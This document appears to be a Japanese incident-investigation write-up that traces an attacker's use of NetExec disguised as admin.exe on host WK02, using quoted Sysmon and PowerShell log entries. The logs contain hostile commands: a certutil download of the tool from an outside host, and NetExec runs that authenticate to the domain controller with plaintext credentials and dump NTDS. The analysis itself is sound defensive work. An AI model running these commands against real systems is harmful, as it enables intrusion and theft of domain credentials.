

IOC情報をもとにnetexecについて調査を始めました。

index=* nxc

EventCode1により、攻撃者が certutil.exe を用いて、外部ホスト（192.168.12.231）から NetExec（nxc.exe）を取得し、admin.exe として保存したのを確認しました。これは Windows 標準ツールを悪用した攻撃ツール転送行為であると判断されます。

```
5/31/25      05/31/2025 06:28:46 AM
9:28:46.000 AM LogName=Microsoft-Windows-Sysmon/Operational
EventCode=1
EventType=4
ComputerName=WK02.quickfile.inc
User=NOT_TRANSLATED
Sid=S-1-5-18
SidType=0
SourceName=Microsoft-Windows-Sysmon
Type=Information
RecordNumber=43901
Keywords=None
TaskCategory=Process Create (rule: ProcessCreate)
OpCode=Info
Message=Process Create:
RuleName: -
UtcTime: 2025-05-31 13:28:46.281
ProcessGuid: {d3804058-040e-683b-6204-000000000900}
ProcessId: 9148
Image: C:\Windows\System32\certutil.exe
FileVersion: 10.0.19041.1466 (WinBuild.160101.0800)
Description: CertUtil.exe
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: CertUtil.exe
CommandLine: "C:\Windows\system32\certutil.exe" -urlcache -f http://192.168.12.231:443/nxc.exe admin.exe
CurrentDirectory: C:\Windows\Tasks\
User: QUICKFILE\m.thomas
LogonGuid: {d3804058-fdc4-683a-3a99-200000000000}
LogonId: 0x20993A
TerminalSessionId: 2
IntegrityLevel: Medium
Hashes: MD5=F17616EC0522FC5633151F7CAA278CAA, SHA256=D252235AA420B91C3BBFEEC4F1C3F3434BC853D04635453648B26B2947352889
ParentProcessGuid: {d3804058-003e-683b-ec03-000000000900}
ParentProcessId: 7044
ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ParentCommandLine: powershell
ParentUser: QUICKFILE\m.thomas
```

攻撃者は NetExec（nxc）を admin.exe に偽装し、取得済みのサービスアカウント資格情報（recruit_svc）を用いてLDAP 経由でドメインコントローラ DC01 に対する認証および情報取得を試みたと判断されます。

```
5/31/25      05/31/2025 06:29:53 AM
9:29:53.000 AM LogName=Microsoft-Windows-PowerShell/Operational
                  EventCode=4104
                  EventType=5
                  ComputerName=WK02.quickfile.inc
                  User=NOT_TRANSLATED
                  Sid=S-1-5-21-789738489-2286988841-3114446385-1602
                  SidType=0
                  SourceName=Microsoft-Windows-PowerShell
                  Type=Verbose
                  RecordNumber=1723
                  Keywords=None
                  TaskCategory=Execute a Remote Command
                  OpCode=On create calls
                  Message=Creating Scriptblock text (1 of 1):
admin.exe ldap dc01 -u recruit_svc -p Password1234
```

ScriptBlock ID: f3dfcaf7-c556-40b9-95e6-897fb281c454
Path:

PowerShell Operational ログ (EventCode 4104) により、攻撃者が PowerShell 上から NetExec (admin.exe) を実行し、LDAP プロトコルを用いてドメインコントローラ DC01 に対し、資格情報 (recruit_svc / Password1234) を使用した操作を行ったことが確認されました。

```
5/31/25      05/31/2025 06:30:29 AM
9:30:29.000 AM LogName=Microsoft-Windows-PowerShell/Operational
                  EventCode=4104
                  EventType=5
                  ComputerName=WK02.quickfile.inc
                  User=NOT_TRANSLATED
                  Sid=S-1-5-21-789738489-2286988841-3114446385-1602
                  SidType=0
                  SourceName=Microsoft-Windows-PowerShell
                  Type=Verbose
                  RecordNumber=1736
                  Keywords=None
                  TaskCategory=Execute a Remote Command
                  OpCode=On create calls
                  Message=Creating Scriptblock text (1 of 1):
./admin.exe ldap dc01 -u recruit_svc -p Password1234

ScriptBlock ID: 01ebf580-8217-4310-880e-75b3e710d479
Path:
```

EventCode1により、攻撃者が NetExec (admin.exe) を実行し、SMB プロトコルを用いてドメインコントローラ DC01 に対して NTDS ダンプ (--ntds オプション) を実施したことが確

認された。本行為により、Active Directory 内の認証情報が窃取された可能性が高いと判断されます。

```
5/31/25      05/31/2025 06:31:19 AM
9:31:19.000 AM LogName=Microsoft-Windows-Sysmon/Operational
EventCode=1
EventType=4
ComputerName=WK02.quickfile.inc
User=NOT_TRANSLATED
Sid=S-1-5-18
SidType=0
SourceName=Microsoft-Windows-Sysmon
Type=Information
RecordNumber=43932
Keywords=None
TaskCategory=Process Create (rule: ProcessCreate)
OpCode=Info
Message=Process Create:
RuleName: -
UtcTime: 2025-05-31 13:31:19.216
ProcessGuid: {d3804058-04a7-683b-7804-000000000900}
ProcessId: 3208
Image: C:\Windows\Tasks\admin.exe
FileVersion: -
Description: -
Product: -
Company: -
OriginalFileName: -
CommandLine: "C:\Windows\Tasks\admin.exe" smb dc01 -u recruit_svc -p Password1234 --ntds
CurrentDirectory: C:\Windows\Tasks\
User: QUICKFILE\m.thomas
LogonGuid: {d3804058-fdc4-683a-3a99-200000000000}
LogonId: 0x20993A
TerminalSessionId: 2
IntegrityLevel: Medium
Hashes: MD5=8E0244AC90F17F1AEDC7FC53D5CA23C6, SHA256=8C378F6200EBC750ED66BDE1E54C29B7BD172E503A5874CA2EEAD4705DD7B515
ParentProcessGuid: {d3804058-04a6-683b-7704-000000000900}
ParentProcessId: 7452
ParentImage: C:\Windows\Tasks\admin.exe
ParentCommandLine: "C:\Windows\Tasks\admin.exe" smb dc01 -u recruit_svc -p Password1234 --ntds
ParentUser: QUICKFILE\m.thomas
Collapse
host = WK02 | source = WinEventLog:Microsoft-Windows-Sysmon/Operational | sourcetype = WinEventLog:Microsoft-Windows-Sysmon/Operational
```

PowerShell Script Block Logging (Event ID 4104) により、攻撃者が PowerShell 経由で NetExec (admin.exe) を実行し、SMB を用いてドメインコントローラ DC01 (dc01.quickfile.inc) に対し、侵害済みユーザー m.thomas の認証情報を使用したドメイン操作を実行していたことが確認されました。

```
05/31/2025 06:35:01 AM
LogName=Microsoft-Windows-PowerShell/Operational
EventCode=4104
EventType=5
ComputerName=WK02.quickfile.inc
User=NOT_TRANSLATED
Sid=S-1-5-21-789738489-2286988841-3114446385-1602
SidType=0
SourceName=Microsoft-Windows-PowerShell
Type=Verbose
RecordNumber=1742
Keywords=None
TaskCategory=Execute a Remote Command
OpCode=On create calls
Message=Creating Scriptblock text (1 of 1):
./admin.exe smb dc01.quickfile.inc -u m.thomas -p Password1234 -d quickfile.inc

ScriptBlock ID: f6b9cb4e-4d64-4f40-8282-c2200760d8fc
Path:
```

その後、EventCode11により、NetExec (nxc) を用いたNTDSダンプの結果として、ドメインコントローラ DC01 (10.12.12.3) から取得された認証情報がローカルファイルとして作成・保存されたことが確認されました。

```
5/31/25      05/31/2025 06:36:46 AM
9:36:46.000 AM LogName=Microsoft-Windows-Sysmon/Operational
                  EventCode=11
                  EventType=4
                  ComputerName=WK02.quickfile.inc
                  User=NOT_TRANSLATED
                  Sid=S-1-5-18
                  SidType=0
                  SourceName=Microsoft-Windows-Sysmon
                  Type=Information
                  RecordNumber=43985
                  Keywords=None
                  TaskCategory=File created (rule: FileCreate)
                  OpCode=Info
                  Message=File created:
                  RuleName: -
                  UtcTime: 2025-05-31 13:36:46.701
                  ProcessGuid: {d3804058-05e6-683b-a604-000000000090}
                  ProcessId: 8604
                  Image: C:\Windows\Tasks\admin.exe
                  TargetFilename: C:\Users\m.thomas\.nxc\logs\ntds\DC01_10.12.12.3_2025-05-31_063645.ntds
                  CreationUtcTime: 2025-05-31 13:36:46.701
                  User: QUICKFILE\m.thomas
```

ここで使用された実行ファイルadmin.exeについて調査を進めました。